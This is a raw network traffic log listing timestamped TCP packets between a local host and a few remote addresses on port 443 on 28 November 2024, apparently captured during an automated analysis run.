Nov 28, 2024 06:49:13.517877102 CET	49926	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.517882109 CET	443	49926	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.521085024 CET	49929	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.521114111 CET	443	49929	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.521214962 CET	49929	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.521377087 CET	49929	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.521394968 CET	443	49929	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.681721926 CET	443	49927	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.684988976 CET	443	49927	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.687455893 CET	49927	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.687524080 CET	49927	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.687530994 CET	443	49927	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.687542915 CET	49927	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.687546968 CET	443	49927	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.690428019 CET	49930	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.690448999 CET	443	49930	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.690537930 CET	49930	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.690709114 CET	49930	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.690720081 CET	443	49930	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.764858961 CET	443	49928	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.766066074 CET	49928	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.766073942 CET	443	49928	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.766510010 CET	49928	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.766515017 CET	443	49928	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:14.208605051 CET	443	49928	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:14.211741924 CET	443	49928	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:14.211829901 CET	49928	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:14.213473082 CET	49928	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:14.213484049 CET	443	49928	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:14.213494062 CET	49928	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:14.213500023 CET	443	49928	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:14.217010975 CET	49931	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:14.217073917 CET	443	49931	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:14.217161894 CET	49931	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:14.217299938 CET	49931	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:14.217320919 CET	443	49931	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:14.827714920 CET	443	49925	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:14.828289986 CET	49925	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:14.828324080 CET	443	49925	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:14.828816891 CET	49925	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:14.828824043 CET	443	49925	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.280992031 CET	443	49925	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.281213999 CET	443	49925	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.281264067 CET	49925	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.281271935 CET	443	49925	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.281287909 CET	443	49925	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.281341076 CET	49925	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.281367064 CET	49925	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.281373024 CET	443	49925	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.281384945 CET	49925	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.281388998 CET	443	49925	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.284202099 CET	49932	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.284219027 CET	443	49932	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.284296036 CET	49932	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.284445047 CET	49932	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.284456015 CET	443	49932	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.316689968 CET	443	49929	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.317347050 CET	49929	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.317372084 CET	443	49929	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.317859888 CET	49929	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.317866087 CET	443	49929	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.416201115 CET	443	49930	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.416675091 CET	49930	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.416686058 CET	443	49930	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.417120934 CET	49930	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.417125940 CET	443	49930	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.726603985 CET	443	49924	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.727262020 CET	49924	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.727272987 CET	443	49924	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.727742910 CET	49924	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.727747917 CET	443	49924	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.768060923 CET	443	49929	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.771966934 CET	443	49929	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.772001028 CET	443	49929	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.772038937 CET	49929	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.772083998 CET	49929	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.772140026 CET	49929	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.772159100 CET	443	49929	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.772177935 CET	49929	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.772183895 CET	443	49929	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.775091887 CET	49933	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.775129080 CET	443	49933	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.775202990 CET	49933	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.775337934 CET	49933	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.775355101 CET	443	49933	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.908453941 CET	443	49930	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.911755085 CET	443	49930	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.911828041 CET	49930	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.931190014 CET	49930	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.931210995 CET	443	49930	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.931222916 CET	49930	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.931229115 CET	443	49930	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.936172009 CET	49934	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.936214924 CET	443	49934	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.936316967 CET	49934	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.936480045 CET	49934	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.936491966 CET	443	49934	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.952682018 CET	443	49931	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.953267097 CET	49931	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.953291893 CET	443	49931	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:15.953739882 CET	49931	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:15.953744888 CET	443	49931	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:16.395201921 CET	443	49931	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:16.395344019 CET	443	49931	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:16.395399094 CET	49931	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:16.395526886 CET	49931	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:16.395554066 CET	443	49931	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:16.395565033 CET	49931	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:16.395570993 CET	443	49931	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:16.398389101 CET	49935	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:16.398436069 CET	443	49935	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:16.398514032 CET	49935	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:16.398798943 CET	49935	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:16.398817062 CET	443	49935	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:16.937412024 CET	443	49924	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:16.937616110 CET	443	49924	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:16.937680960 CET	49924	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:16.947819948 CET	49924	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:16.947843075 CET	443	49924	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:16.947855949 CET	49924	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:16.947860956 CET	443	49924	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:16.950948954 CET	49936	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:16.951009989 CET	443	49936	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:16.951076031 CET	49936	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:16.951273918 CET	49936	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:16.951298952 CET	443	49936	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:17.115822077 CET	443	49932	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:17.116343021 CET	49932	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:17.116362095 CET	443	49932	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:17.116842031 CET	49932	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:17.116847992 CET	443	49932	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:17.566132069 CET	443	49933	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:17.566485882 CET	443	49932	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:17.566689014 CET	49933	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:17.566709995 CET	443	49933	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:17.567189932 CET	49933	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:17.567198992 CET	443	49933	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:17.570621014 CET	443	49932	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:17.570687056 CET	49932	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:17.570713043 CET	49932	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:17.570713043 CET	49932	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:17.570728064 CET	443	49932	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:17.570735931 CET	443	49932	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:17.573503971 CET	49937	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:17.573539972 CET	443	49937	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:17.573621988 CET	49937	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:17.573782921 CET	49937	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:17.573796988 CET	443	49937	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:17.728363037 CET	443	49934	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:17.728872061 CET	49934	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:17.728888035 CET	443	49934	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:17.729373932 CET	49934	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:17.729378939 CET	443	49934	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.017462015 CET	443	49933	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.021075010 CET	443	49933	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.021114111 CET	443	49933	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.021151066 CET	49933	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:18.021217108 CET	49933	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:18.021289110 CET	49933	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:18.021308899 CET	443	49933	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.021317959 CET	49933	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:18.021323919 CET	443	49933	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.024739981 CET	49938	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:18.024760962 CET	443	49938	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.024842978 CET	49938	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:18.025031090 CET	49938	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:18.025053024 CET	443	49938	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.180893898 CET	443	49934	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.184104919 CET	443	49934	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.184182882 CET	49934	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:18.184269905 CET	49934	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:18.184279919 CET	443	49934	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.184290886 CET	49934	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:18.184295893 CET	443	49934	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.187655926 CET	49939	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:18.187673092 CET	443	49939	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.187762976 CET	49939	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:18.187967062 CET	49939	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:18.187977076 CET	443	49939	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.832741022 CET	443	49936	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.833559990 CET	49936	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:18.833576918 CET	443	49936	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:18.834047079 CET	49936	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:18.834053993 CET	443	49936	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.180470943 CET	443	49898	23.209.72.8	192.168.2.5
Nov 28, 2024 06:49:19.180541039 CET	443	49898	23.209.72.8	192.168.2.5
Nov 28, 2024 06:49:19.180610895 CET	49898	443	192.168.2.5	23.209.72.8
Nov 28, 2024 06:49:19.292289972 CET	443	49936	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.295629978 CET	443	49936	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.295717001 CET	49936	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.295783997 CET	49936	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.295815945 CET	443	49936	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.295831919 CET	49936	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.295840025 CET	443	49936	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.298578978 CET	49940	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.298613071 CET	443	49940	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.298698902 CET	49940	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.298845053 CET	49940	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.298857927 CET	443	49940	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.307117939 CET	443	49937	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.307554007 CET	49937	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.307576895 CET	443	49937	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.308104992 CET	49937	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.308110952 CET	443	49937	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.748044968 CET	443	49937	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.751302004 CET	443	49938	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.751559973 CET	443	49937	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.751631975 CET	49937	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.751650095 CET	443	49937	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.751698017 CET	443	49937	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.751748085 CET	49937	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.751774073 CET	443	49937	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.751791954 CET	49937	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.751791954 CET	49937	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.751801014 CET	443	49937	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.751808882 CET	443	49937	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.751975060 CET	49938	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.751997948 CET	443	49938	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.752496958 CET	49938	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.752504110 CET	443	49938	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.755100012 CET	49941	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.755131960 CET	443	49941	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.755203009 CET	49941	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.755331993 CET	49941	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.755340099 CET	443	49941	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.912866116 CET	443	49939	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.913608074 CET	49939	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.913619041 CET	443	49939	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:19.914124012 CET	49939	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:19.914128065 CET	443	49939	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:20.193278074 CET	443	49938	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:20.196899891 CET	443	49938	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:20.196965933 CET	49938	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:20.197001934 CET	49938	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:20.197019100 CET	443	49938	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:20.197029114 CET	49938	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:20.197033882 CET	443	49938	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:20.199976921 CET	49942	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:20.200015068 CET	443	49942	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:20.200087070 CET	49942	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:20.200228930 CET	49942	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:20.200246096 CET	443	49942	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:20.356662035 CET	443	49939	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:20.360543013 CET	443	49939	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:20.360702038 CET	49939	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:20.360800982 CET	49939	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:20.360807896 CET	443	49939	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:20.360817909 CET	49939	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:20.360821962 CET	443	49939	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:20.363967896 CET	49943	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:20.363980055 CET	443	49943	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:20.364088058 CET	49943	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:20.364204884 CET	49943	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:20.364212990 CET	443	49943	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.032802105 CET	443	49940	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.033478022 CET	49940	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.033499002 CET	443	49940	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.033986092 CET	49940	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.033994913 CET	443	49940	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.309098005 CET	443	49935	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.309611082 CET	49935	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.309626102 CET	443	49935	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.310146093 CET	49935	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.310153008 CET	443	49935	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.473741055 CET	443	49940	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.476978064 CET	443	49940	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.477058887 CET	49940	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.477756023 CET	49940	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.477773905 CET	443	49940	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.484067917 CET	49944	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.484114885 CET	443	49944	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.484191895 CET	49944	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.486098051 CET	49944	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.486112118 CET	443	49944	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.612299919 CET	443	49941	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.613068104 CET	49941	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.613089085 CET	443	49941	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.613522053 CET	49941	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.613528013 CET	443	49941	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.771291018 CET	443	49935	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.771351099 CET	443	49935	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.771501064 CET	49935	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.771868944 CET	49935	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.771891117 CET	443	49935	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.771903038 CET	49935	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.771909952 CET	443	49935	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.775810003 CET	49945	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.775820971 CET	443	49945	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.775892973 CET	49945	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.776092052 CET	49945	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.776098967 CET	443	49945	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.993974924 CET	443	49942	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.994725943 CET	49942	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.994750023 CET	443	49942	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:21.995189905 CET	49942	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:21.995196104 CET	443	49942	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.073132038 CET	443	49941	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.076654911 CET	443	49941	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.076728106 CET	49941	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.076739073 CET	443	49941	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.076806068 CET	443	49941	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.076858997 CET	49941	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.076874018 CET	49941	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.076883078 CET	443	49941	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.076915026 CET	49941	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.076920033 CET	443	49941	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.081406116 CET	49948	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.081422091 CET	443	49948	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.081496000 CET	49948	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.081754923 CET	49948	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.081765890 CET	443	49948	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.090881109 CET	443	49943	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.091383934 CET	49943	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.091396093 CET	443	49943	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.091876984 CET	49943	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.091881037 CET	443	49943	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.479201078 CET	443	49942	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.482434034 CET	443	49942	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.482531071 CET	49942	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.482603073 CET	49942	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.482609987 CET	443	49942	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.482621908 CET	49942	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.482626915 CET	443	49942	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.486089945 CET	49949	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.486120939 CET	443	49949	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.486210108 CET	49949	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.486418962 CET	49949	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.486432076 CET	443	49949	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.549707890 CET	443	49943	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.549732924 CET	443	49943	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.549777031 CET	443	49943	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.549865007 CET	49943	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.549917936 CET	49943	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.550101995 CET	49943	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.550111055 CET	443	49943	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.550118923 CET	49943	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.550122976 CET	443	49943	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.553071976 CET	49950	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:22.553093910 CET	443	49950	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:22.553190947 CET	49950	443	192.168.2.5	13.107.246.63
